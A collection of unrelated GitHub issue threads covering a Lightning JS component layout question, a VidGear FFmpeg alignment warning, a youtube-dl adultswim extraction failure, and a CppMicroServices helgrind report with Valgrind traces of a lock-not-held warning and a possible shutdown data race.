			flex: {
				direction: 'row',
				alignContent: 'center',
				alignItems: 'center',
				justifyContent: 'center'
			},
			Label: {
				flexItem: {
				    margin: 0,
				    grow: 0,
				    maxWidth: 300 // TODO computare
				},
				w: 100, // TODO computare
				h: 100, // TODO computare
				x: 100, // TODO computare
				y: 100, // TODO computare
				text: {
					fontSize: 100 // TODO computare
				}
			}
		};
	}
}

I can't figure out why.
Kind regards

Hi, please provide an example that we can run and debug it would save us a lot of time :)

https://github.com/WebPlatformForEmbedded/Lightning/issues/155
Same Element related issue.

@erikhaandrikman as see in the issue #155 the error should be related to Element class and childList.add method.
Can You please provide a best practice to implementing the add method in a Component that is supposed that has childrens?
I know that I can use a setter but in my case, remapping the children every time should drive to unexpected side effects so I think I need to expose this kind of method (adding new children starting from another type of object or an object literal).
Environment
The typical CLI + SDK environment with JS modules, imports and 1 export for the Component class.
I find out a solution like #155 but I looking for something "better".
Do I have to use the application?
Best regards
Mattia

Close. I found the solution in a "data driven" approuch so I Will remap anything I will need so the responsability remains encapsuled.


WebCam Source: data is not aligned!

Warning: data is not aligned! This can lead to a speed loss.
Does it matter if I get this warning? Everything is fine, but I was just nervous.

@sweetngx No context regarding which gear you used or what python code you used or where in output you getting this is provided. Please fill the template properly or this issue will be closed soon.

@abhiTronix Ah Sorry... I am using Python 3.8 version and I get this warning when I use it with OBS Virtual Cam.
options = {
"CAP_PROP_FRAME_WIDTH": 1920, # resolution 320x240
"CAP_PROP_FRAME_HEIGHT": 1080,
"CAP_PROP_FPS": 30, # framerate 60fps
}
stream = VideoGear(source=1, logging=True, **options).start()

@sweetngx This warning is related to unusual frame size that your source 1 is outputting. This warning is generated by OpenCV's FFmpeg backend, it is a common FFmpeg warning and causes no harm. So you're good.

Thank you very much for your interest and information...


[adultswim] Add support for trailers

Please follow the guide below

You will be asked some questions and requested to provide some information, please read them carefully and answer honestly
Put an x into all the boxes [ ] relevant to your issue (like that [x])
Use Preview tab to see how your issue will actually look like

Make sure you are using the latest version: run youtube-dl --version and ensure your version is 2016.08.01. If it's not read this FAQ entry and update. Issues with outdated version will be rejected.

[x] I've verified and I assure that I'm running youtube-dl 2016.08.01

Before submitting an issue make sure you have:

[x] At least skimmed through README and most notably FAQ and BUGS sections
[x] Searched the bugtracker for similar issues including closed ones

What is the purpose of your issue?

[x] Bug report (encountered problems with youtube-dl)
[ ] Site support request (request for adding support for a new site)
[ ] Feature request (request for a new functionality)
[ ] Question
[ ] Other

The following sections concretize particular purposed issues, you can erase any section (the contents between triple ---) not applicable to your issue

If the purpose of this issue is a bug report, site support request or you are not completely sure provide the full verbose output as follows:
Add -v flag to your command line you run youtube-dl with, copy the whole output and insert it here. It should look similar to one below (replace it with your log inserted between triple ```):
Seems like they've changed something again.

$ youtube-dl --verbose http://www.adultswim.com/videos/decker/inside-decker-a-new-hero/
[debug] System config: []
[debug] User config: []
[debug] Command-line args: [u'--verbose', u'http://www.adultswim.com/videos/decker/inside-decker-a-new-hero/']
[debug] Encodings: locale UTF-8, fs UTF-8, out UTF-8, pref UTF-8
[debug] youtube-dl version 2016.08.01
[debug] Python version 2.7.6 - Linux-3.16.0-57-generic-x86_64-with-Ubuntu-14.04-trusty
[debug] exe versions: ffmpeg N-77455-g4707497, ffprobe N-77455-g4707497, rtmpdump 2.4
[debug] Proxy map: {}
[AdultSwim] inside-decker-a-new-hero: Downloading webpage
ERROR: Unable to find video info; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; type youtube-dl -U to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.
Traceback (most recent call last):
File "/usr/local/bin/youtube-dl/youtube_dl/YoutubeDL.py", line 682, in extract_info
ie_result = ie.extract(url)
File "/usr/local/bin/youtube-dl/youtube_dl/extractor/common.py", line 347, in extract
return self._real_extract(url)
File "/usr/local/bin/youtube-dl/youtube_dl/extractor/adultswim.py", line 137, in _real_extract
raise ExtractorError('Unable to find video info')

If the purpose of this issue is a site support request please provide all kinds of example URLs support for which should be included (replace following example URLs by yours):

Single video: https://www.youtube.com/watch?v=BaW_jenozKc
Single video: https://youtu.be/BaW_jenozKc
Playlist: https://www.youtube.com/playlist?list=PL4lCao7KL_QFVb7Iudeipvc2BCavECqzc

Description of your issue, suggested solution and other information
Can't download videos from adultswim.com -- I tried a couple different URLs, but http://www.adultswim.com/videos/decker/inside-decker-a-new-hero/ is the only I'm trying to archive.

@dstftw I don't believe it is a trailer, it should be a bonus show 10-15 minutes in length about the series, Decker.


Bundle - dubious: associated lock is not held by any thread

Dear Contributors & Project Owners,
I hope you are doing well.
With all due respect, during the test steps that i completed developing some test services with this library i started to check it with Valgrind to find my code issues, in this regard i just using the helgrind tool to check the threads and detecting synchronization errors. and i got this error:
dubious: associated lock is not held by any thread
then i run the tests with the example provided by library, the same error exists during the bundle start.
test@test-server:~/DevLibs/CppMicroServices/doc/src/bin$ valgrind --tool=helgrind ./GettingStarted ../lib/libeventlistener.so
==22905== Helgrind, a thread error detector
==22905== Copyright (C) 2007-2017, and GNU GPL'd, by OpenWorks LLP et al.
==22905== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
==22905== Command: ./GettingStarted ../lib/libeventlistener.so
==22905==
==22905== ---Thread-Announcement------------------------------------------
==22905==
==22905== Thread #1 is the program's root thread
==22905==
==22905== ----------------------------------------------------------------
==22905==
==22905== Thread #1: pthread_cond_{signal,broadcast}: dubious: associated lock is not held by any thread
==22905==    at 0x4C34D43: pthread_cond_broadcast_WRK (hg_intercepts.c:1445)
==22905==    by 0x4C3835E: pthread_cond_broadcast@* (hg_intercepts.c:1466)
==22905==    by 0x53DC8A8: std::condition_variable::notify_all() (in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25)
==22905==    by 0x4F3E808: cppmicroservices::detail::WaitCondition<cppmicroservices::detail::MutexLockingStrategy<std::mutex> >::NotifyAll() (WaitCondition.h:109)
==22905==    by 0x502496B: cppmicroservices::BundleThread::StartAndWait(cppmicroservices::BundlePrivate*, int, cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundleThread.cpp:207)
==22905==    by 0x50246AD: cppmicroservices::BundleThread::BundleChanged(cppmicroservices::BundleEventInternal const&, cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundleThread.cpp:178)
==22905==    by 0x4FF59CD: cppmicroservices::BundlePrivate::GetUpdatedState(cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundlePrivate.cpp:235)
==22905==    by 0x4FF5E6B: cppmicroservices::BundlePrivate::FinalizeActivation(cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundlePrivate.cpp:272)
==22905==    by 0x4FF7072: cppmicroservices::BundlePrivate::Start(unsigned int) (BundlePrivate.cpp:438)
==22905==    by 0x4FD524A: cppmicroservices::Bundle::Start() (Bundle.cpp:120)
==22905==    by 0x10ABB6: main (in /home/test/DevLibs/CppMicroServices/doc/src/bin/GettingStarted)
==22905==
Starting to listen for service events.

if you start more than one service this error continuously happens.
would you please check, is there any way to fix this issue ?
Regards,

@mohsenomidi thanks for flagging this.
Are there any more failures from helgrind/valgrind that you've seen other than the dubious: associated lock is not held by any thread warning?
This helgrind warning looks like it comes from:
  {
    auto l = op.Lock();
    US_UNUSED(l);
    op.pr = std::promise<bool>();
    op.bundle = b;
    op.operation = operation;
    res = op.pr.get_future();
  }
  op.NotifyAll();

with the mutex stored in l being unlocked before signaling (from op.NotifyAll()).
A quick google search suggests that unlocking before signaling can lead to a race condition which may or may not be a problem, depending on how the rest of the code handles waiting on the condition variable. POSIX pthreads apparently does allow the mutex to be locked or unlocked before signaling. I don't know if this helgrind warning points to an issue within the code without inspecting the code closely.
Regardless, the code should be cleaned up such that helgrind no longer warns. I think the fix would be to increase the scope auto l = op.Lock(); and release it after op.NotifyAll() returns.
Feel free to contribute a fix if you'd like, otherwise someone will pick it up to fix at some point based on priorities.

@jeffdiclemente Thanks for your reply
actually there is data race warning is valgrind's helgrind tool, but it seems it happens after terminating, maybe need some extra code in example(gettingstart to free resources before exit)  i post the complete output here.
for usTutorialDriver i try to test but there is error in some libraries it seems some libraries changed but does not updated in example (can not find anything about libeventlistenerd.so but libeventlistener.so [without d] exist, I need to investigate more, if you know about this issue give me a hint to check and test it )
the error :
Failed to install bundle library at /home/test/DevLibs/CppMicroServices/doc/src/lib/libeventlistenerd.so: /home/test/DevLibs/CppMicroServices/doc/src/lib/libeventlistenerd.so does not exist
but for gettingStart with libeventlistener object
i just execute the GettingStarted example with libeventlistener shared object as input.
I would be glad to help and create the PR for fixing this problem, but I do not have a deep knowledge about the design and code structure, i am sill trying to study the codes and once i am ready, i can provide some changes on possible bug or adding new feature if needed in future.
$ valgrind -s --tool=helgrind ./GettingStarted ../lib/libeventlistener.so
Output :
==3482== Helgrind, a thread error detector
==3482== Copyright (C) 2007-2017, and GNU GPL'd, by OpenWorks LLP et al.
==3482== Using Valgrind-3.15.0 and LibVEX; rerun with -h for copyright info
==3482== Command: ./GettingStarted ../lib/libeventlistener.so
==3482==
==3482== ---Thread-Announcement------------------------------------------
==3482==
==3482== Thread #1 is the program's root thread
==3482==
==3482== ----------------------------------------------------------------
==3482==
==3482== Thread #1: pthread_cond_{signal,broadcast}: dubious: associated lock is not held by any thread
==3482==    at 0x4C34D43: pthread_cond_broadcast_WRK (hg_intercepts.c:1445)
==3482==    by 0x4C3835E: pthread_cond_broadcast@* (hg_intercepts.c:1466)
==3482==    by 0x53EFF48: std::condition_variable::notify_all() (in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28)
==3482==    by 0x4F3E808: cppmicroservices::detail::WaitCondition<cppmicroservices::detail::MutexLockingStrategy<std::mutex> >::NotifyAll() (WaitCondition.h:109)
==3482==    by 0x502496B: cppmicroservices::BundleThread::StartAndWait(cppmicroservices::BundlePrivate*, int, cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundleThread.cpp:207)
==3482==    by 0x50246AD: cppmicroservices::BundleThread::BundleChanged(cppmicroservices::BundleEventInternal const&, cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundleThread.cpp:178)
==3482==    by 0x4FF59CD: cppmicroservices::BundlePrivate::GetUpdatedState(cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundlePrivate.cpp:235)
==3482==    by 0x4FF5E6B: cppmicroservices::BundlePrivate::FinalizeActivation(cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundlePrivate.cpp:272)
==3482==    by 0x4FF7072: cppmicroservices::BundlePrivate::Start(unsigned int) (BundlePrivate.cpp:438)
==3482==    by 0x4FD524A: cppmicroservices::Bundle::Start() (Bundle.cpp:120)
==3482==    by 0x10ABB6: main (in /home/test/DevLibs/CppMicroServices/doc/src/bin/GettingStarted)
==3482==
Starting to listen for service events.
==3482== ---Thread-Announcement------------------------------------------
==3482==
==3482== Thread #3 was created
==3482==    at 0x5A3E87E: clone (clone.S:71)
==3482==    by 0x62B7EC4: create_thread (createthread.c:100)
==3482==    by 0x62B7EC4: pthread_create@@GLIBC_2.2.5 (pthread_create.c:797)
==3482==    by 0x4C36E33: pthread_create_WRK (hg_intercepts.c:427)
==3482==    by 0x4C37F25: pthread_create@* (hg_intercepts.c:460)
==3482==    by 0x53F5B04: std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28)
==3482==    by 0x4F3E3BA: std::thread::thread<std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>>(std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>&&) (thread:126)
==3482==    by 0x4F3B4F7: cppmicroservices::FrameworkPrivate::Shutdown(bool) (FrameworkPrivate.cpp:150)
==3482==    by 0x4F384EE: cppmicroservices::CoreBundleContextHolder::~CoreBundleContextHolder() (FrameworkFactory.cpp:57)
==3482==    by 0x4F3A358: void __gnu_cxx::new_allocator<cppmicroservices::CoreBundleContextHolder>::destroy<cppmicroservices::CoreBundleContextHolder>(cppmicroservices::CoreBundleContextHolder*) (new_allocator.h:140)
==3482==    by 0x4F3A2E0: void std::allocator_traits<std::allocator<cppmicroservices::CoreBundleContextHolder> >::destroy<cppmicroservices::CoreBundleContextHolder>(std::allocator<cppmicroservices::CoreBundleContextHolder>&, cppmicroservices::CoreBundleContextHolder*) (alloc_traits.h:487)
==3482==    by 0x4F3A163: std::_Sp_counted_ptr_inplace<cppmicroservices::CoreBundleContextHolder, std::allocator<cppmicroservices::CoreBundleContextHolder>, (__gnu_cxx::_Lock_policy)2>::_M_dispose() (shared_ptr_base.h:535)
==3482==    by 0x10B377: std::_Sp_counted_base<(__gnu_cxx::_Lock_policy)2>::_M_release() (in /home/test/DevLibs/CppMicroServices/doc/src/bin/GettingStarted)
==3482==
==3482== ----------------------------------------------------------------
==3482==
==3482== Thread #3: pthread_cond_{signal,broadcast}: dubious: associated lock is not held by any thread
==3482==    at 0x4C34D43: pthread_cond_broadcast_WRK (hg_intercepts.c:1445)
==3482==    by 0x4C3835E: pthread_cond_broadcast@* (hg_intercepts.c:1466)
==3482==    by 0x53EFF48: std::condition_variable::notify_all() (in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28)
==3482==    by 0x4F3E808: cppmicroservices::detail::WaitCondition<cppmicroservices::detail::MutexLockingStrategy<std::mutex> >::NotifyAll() (WaitCondition.h:109)
==3482==    by 0x502496B: cppmicroservices::BundleThread::StartAndWait(cppmicroservices::BundlePrivate*, int, cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundleThread.cpp:207)
==3482==    by 0x502477A: cppmicroservices::BundleThread::CallStop1(cppmicroservices::BundlePrivate*, cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundleThread.cpp:190)
==3482==    by 0x4FF4B77: cppmicroservices::BundlePrivate::Stop0(cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundlePrivate.cpp:106)
==3482==    by 0x4FF49BC: cppmicroservices::BundlePrivate::Stop(unsigned int) (BundlePrivate.cpp:88)
==3482==    by 0x4F3C506: cppmicroservices::FrameworkPrivate::StopAllBundles() (FrameworkPrivate.cpp:307)
==3482==    by 0x4F3C119: cppmicroservices::FrameworkPrivate::Shutdown0(bool, bool) (FrameworkPrivate.cpp:262)
==3482==    by 0x4F43179: void std::__invoke_impl<void, void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&>(std::__invoke_memfun_deref, void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&) (invoke.h:73)
==3482==    by 0x4F427C3: std::__invoke_result<void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&>::type std::__invoke<void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&>(void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&) (invoke.h:95)
==3482==
Stopped listening for service events.
==3482== ---Thread-Announcement------------------------------------------
==3482==
==3482== Thread #2 was created
==3482==    at 0x5A3E87E: clone (clone.S:71)
==3482==    by 0x62B7EC4: create_thread (createthread.c:100)
==3482==    by 0x62B7EC4: pthread_create@@GLIBC_2.2.5 (pthread_create.c:797)
==3482==    by 0x4C36E33: pthread_create_WRK (hg_intercepts.c:427)
==3482==    by 0x4C37F25: pthread_create@* (hg_intercepts.c:460)
==3482==    by 0x53F5B04: std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28)
==3482==    by 0x5027339: std::thread::thread<void (cppmicroservices::BundleThread::*)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*&>(void (cppmicroservices::BundleThread::*&&)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*&&, cppmicroservices::CoreBundleContext*&) (thread:126)
==3482==    by 0x5023BC3: cppmicroservices::BundleThread::BundleThread(cppmicroservices::CoreBundleContext*) (BundleThread.cpp:51)
==3482==    by 0x50001CE: void __gnu_cxx::new_allocator<cppmicroservices::BundleThread>::construct<cppmicroservices::BundleThread, cppmicroservices::CoreBundleContext*&>(cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*&) (new_allocator.h:136)
==3482==    by 0x4FFFF77: void std::allocator_traits<std::allocator<cppmicroservices::BundleThread> >::construct<cppmicroservices::BundleThread, cppmicroservices::CoreBundleContext*&>(std::allocator<cppmicroservices::BundleThread>&, cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*&) (alloc_traits.h:475)
==3482==    by 0x4FFFA07: std::_Sp_counted_ptr_inplace<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, (__gnu_cxx::_Lock_policy)2>::_Sp_counted_ptr_inplace<cppmicroservices::CoreBundleContext*&>(std::allocator<cppmicroservices::BundleThread>, cppmicroservices::CoreBundleContext*&) (shared_ptr_base.h:526)
==3482==    by 0x4FFF24B: std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, cppmicroservices::CoreBundleContext*&>(std::_Sp_make_shared_tag, cppmicroservices::BundleThread*, std::allocator<cppmicroservices::BundleThread> const&, cppmicroservices::CoreBundleContext*&) (shared_ptr_base.h:637)
==3482==    by 0x4FFE85B: std::__shared_ptr<cppmicroservices::BundleThread, (__gnu_cxx::_Lock_policy)2>::__shared_ptr<std::allocator<cppmicroservices::BundleThread>, cppmicroservices::CoreBundleContext*&>(std::_Sp_make_shared_tag, std::allocator<cppmicroservices::BundleThread> const&, cppmicroservices::CoreBundleContext*&) (shared_ptr_base.h:1295)
==3482==
==3482== ----------------------------------------------------------------
==3482==
==3482==  Lock at 0x64E2F58 was first observed
==3482==    at 0x4C34480: mutex_lock_WRK (hg_intercepts.c:909)
==3482==    by 0x4C3830C: pthread_mutex_lock (hg_intercepts.c:925)
==3482==    by 0x4F3A3EA: __gthread_mutex_lock(pthread_mutex_t*) (gthr-default.h:748)
==3482==    by 0x4F3D314: std::mutex::lock() (std_mutex.h:103)
==3482==    by 0x4F41537: std::unique_lock<std::mutex>::lock() (std_mutex.h:267)
==3482==    by 0x4F403FC: std::unique_lock<std::mutex>::unique_lock(std::mutex&) (std_mutex.h:197)
==3482==    by 0x4F3ED3F: cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock::UniqueLock(cppmicroservices::detail::MutexLockingStrategy<std::mutex> const*) (Threads.h:82)
==3482==    by 0x4F3DB3D: cppmicroservices::detail::MutexLockingStrategy<std::mutex>::Lock() const (Threads.h:134)
==3482==    by 0x4F3AAE4: cppmicroservices::FrameworkPrivate::Init() (FrameworkPrivate.cpp:64)
==3482==    by 0x4F36146: cppmicroservices::Framework::Init() (Framework.cpp:67)
==3482==    by 0x10A97F: main (in /home/test/DevLibs/CppMicroServices/doc/src/bin/GettingStarted)
==3482==  Address 0x64e2f58 is 8 bytes inside a block of size 624 alloc'd
==3482==    at 0x4C3187A: operator new(unsigned long) (vg_replace_malloc.c:344)
==3482==    by 0x5031B8E: cppmicroservices::CoreBundleContext::CoreBundleContext(std::unordered_map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, cppmicroservices::Any, std::hash<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::equal_to<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, cppmicroservices::Any> > > const&, std::ostream*) (CoreBundleContext.cpp:100)
==3482==    by 0x4F37CA9: cppmicroservices::FrameworkFactory::NewFramework(std::unordered_map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, cppmicroservices::Any, std::hash<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::equal_to<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, cppmicroservices::Any> > > const&, std::ostream*) (FrameworkFactory.cpp:69)
==3482==    by 0x4F37E4A: cppmicroservices::FrameworkFactory::NewFramework() (FrameworkFactory.cpp:79)
==3482==    by 0x10A973: main (in /home/test/DevLibs/CppMicroServices/doc/src/bin/GettingStarted)
==3482==  Block was alloc'd by thread #1
==3482==
==3482== Possible data race during write of size 1 at 0x64E75E8 by thread #3
==3482== Locks held: 1, at address 0x64E2F58
==3482==    at 0x4F622CE: store (atomic_base.h:374)
==3482==    by 0x4F622CE: std::__atomic_base<bool>::operator=(bool) (atomic_base.h:267)
==3482==    by 0x4F6164F: std::atomic<bool>::operator=(bool) (atomic:79)
==3482==    by 0x5023D08: cppmicroservices::BundleThread::Quit() (BundleThread.cpp:67)
==3482==    by 0x5032DB1: cppmicroservices::CoreBundleContext::Uninit1() (CoreBundleContext.cpp:230)
==3482==    by 0x4F3C15C: cppmicroservices::FrameworkPrivate::Shutdown0(bool, bool) (FrameworkPrivate.cpp:268)
==3482==    by 0x4F43179: void std::__invoke_impl<void, void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&>(std::__invoke_memfun_deref, void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&) (invoke.h:73)
==3482==    by 0x4F427C3: std::__invoke_result<void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&>::type std::__invoke<void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&>(void (cppmicroservices::FrameworkPrivate::*&)(bool, bool), cppmicroservices::FrameworkPrivate*&, bool&, bool&) (invoke.h:95)
==3482==    by 0x4F4192D: void std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>::__call<void, , 0ul, 1ul, 2ul>(std::tuple<>&&, std::_Index_tuple<0ul, 1ul, 2ul>) (functional:467)
==3482==    by 0x4F40CD2: void std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>::operator()<, void>() (functional:551)
==3482==    by 0x4F3F8B8: void std::__invoke_impl<void, std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>>(std::__invoke_other, std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>&&) (invoke.h:60)
==3482==    by 0x4F3E31B: std::__invoke_result<std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>>::type std::__invoke<std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>>(std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)>&&) (invoke.h:95)
==3482==    by 0x4F44451: decltype (__invoke((_S_declval<0ul>)())) std::thread::_Invoker<std::tuple<std::_Bind<void (cppmicroservices::FrameworkPrivate::*(cppmicroservices::FrameworkPrivate*, bool, bool))(bool, bool)> > >::_M_invoke<0ul>(std::_Index_tuple<0ul>) (thread:234)
==3482==
==3482== This conflicts with a previous read of size 1 by thread #2
==3482== Locks held: none
==3482==    at 0x4F616A6: load (atomic_base.h:396)
==3482==    by 0x4F616A6: std::atomic<bool>::operator bool() const (atomic:86)
==3482==    by 0x5023DDF: cppmicroservices::BundleThread::Run(cppmicroservices::CoreBundleContext*) (BundleThread.cpp:79)
==3482==    by 0x5028FEA: void std::__invoke_impl<void, void (cppmicroservices::BundleThread::*)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*>(std::__invoke_memfun_deref, void (cppmicroservices::BundleThread::*&&)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*&&, cppmicroservices::CoreBundleContext*&&) (invoke.h:73)
==3482==    by 0x502726B: std::__invoke_result<void (cppmicroservices::BundleThread::*)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*>::type std::__invoke<void (cppmicroservices::BundleThread::*)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*>(void (cppmicroservices::BundleThread::*&&)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*&&, cppmicroservices::CoreBundleContext*&&) (invoke.h:95)
==3482==    by 0x502DB8C: decltype (__invoke((_S_declval<0ul>)(), (_S_declval<1ul>)(), (_S_declval<2ul>)())) std::thread::_Invoker<std::tuple<void (cppmicroservices::BundleThread::*)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*> >::_M_invoke<0ul, 1ul, 2ul>(std::_Index_tuple<0ul, 1ul, 2ul>) (thread:234)
==3482==    by 0x502DA7D: std::thread::_Invoker<std::tuple<void (cppmicroservices::BundleThread::*)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*> >::operator()() (thread:243)
==3482==    by 0x502D8AE: std::thread::_State_impl<std::thread::_Invoker<std::tuple<void (cppmicroservices::BundleThread::*)(cppmicroservices::CoreBundleContext*), cppmicroservices::BundleThread*, cppmicroservices::CoreBundleContext*> > >::_M_run() (thread:186)
==3482==    by 0x53F586F: ??? (in /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28)
==3482==  Address 0x64e75e8 is 232 bytes inside a block of size 288 alloc'd
==3482==    at 0x4C3187A: operator new(unsigned long) (vg_replace_malloc.c:344)
==3482==    by 0x500005A: __gnu_cxx::new_allocator<std::_Sp_counted_ptr_inplace<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (new_allocator.h:111)
==3482==    by 0x4FFFD78: std::allocator_traits<std::allocator<std::_Sp_counted_ptr_inplace<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_ptr_inplace<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, (__gnu_cxx::_Lock_policy)2> >&, unsigned long) (alloc_traits.h:436)
==3482==    by 0x4FFF7CD: std::__allocated_ptr<std::allocator<std::_Sp_counted_ptr_inplace<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, (__gnu_cxx::_Lock_policy)2> > > std::__allocate_guarded<std::allocator<std::_Sp_counted_ptr_inplace<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, (__gnu_cxx::_Lock_policy)2> > >(std::allocator<std::_Sp_counted_ptr_inplace<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, (__gnu_cxx::_Lock_policy)2> >&) (allocated_ptr.h:104)
==3482==    by 0x4FFF1E3: std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, cppmicroservices::CoreBundleContext*&>(std::_Sp_make_shared_tag, cppmicroservices::BundleThread*, std::allocator<cppmicroservices::BundleThread> const&, cppmicroservices::CoreBundleContext*&) (shared_ptr_base.h:635)
==3482==    by 0x4FFE85B: std::__shared_ptr<cppmicroservices::BundleThread, (__gnu_cxx::_Lock_policy)2>::__shared_ptr<std::allocator<cppmicroservices::BundleThread>, cppmicroservices::CoreBundleContext*&>(std::_Sp_make_shared_tag, std::allocator<cppmicroservices::BundleThread> const&, cppmicroservices::CoreBundleContext*&) (shared_ptr_base.h:1295)
==3482==    by 0x4FFDB84: std::shared_ptr<cppmicroservices::BundleThread>::shared_ptr<std::allocator<cppmicroservices::BundleThread>, cppmicroservices::CoreBundleContext*&>(std::_Sp_make_shared_tag, std::allocator<cppmicroservices::BundleThread> const&, cppmicroservices::CoreBundleContext*&) (shared_ptr.h:344)
==3482==    by 0x4FFCC56: std::shared_ptr<cppmicroservices::BundleThread> std::allocate_shared<cppmicroservices::BundleThread, std::allocator<cppmicroservices::BundleThread>, cppmicroservices::CoreBundleContext*&>(std::allocator<cppmicroservices::BundleThread> const&, cppmicroservices::CoreBundleContext*&) (shared_ptr.h:691)
==3482==    by 0x4FFBD8C: std::shared_ptr<cppmicroservices::BundleThread> std::make_shared<cppmicroservices::BundleThread, cppmicroservices::CoreBundleContext*&>(cppmicroservices::CoreBundleContext*&) (shared_ptr.h:707)
==3482==    by 0x4FF83D6: cppmicroservices::BundlePrivate::GetBundleThread() (BundlePrivate.cpp:607)
==3482==    by 0x4FF5976: cppmicroservices::BundlePrivate::GetUpdatedState(cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundlePrivate.cpp:235)
==3482==    by 0x4FF5E6B: cppmicroservices::BundlePrivate::FinalizeActivation(cppmicroservices::detail::MutexLockingStrategy<std::mutex>::UniqueLock&) (BundlePrivate.cpp:272)
==3482==  Block was alloc'd by thread #1
==3482==
==3482==
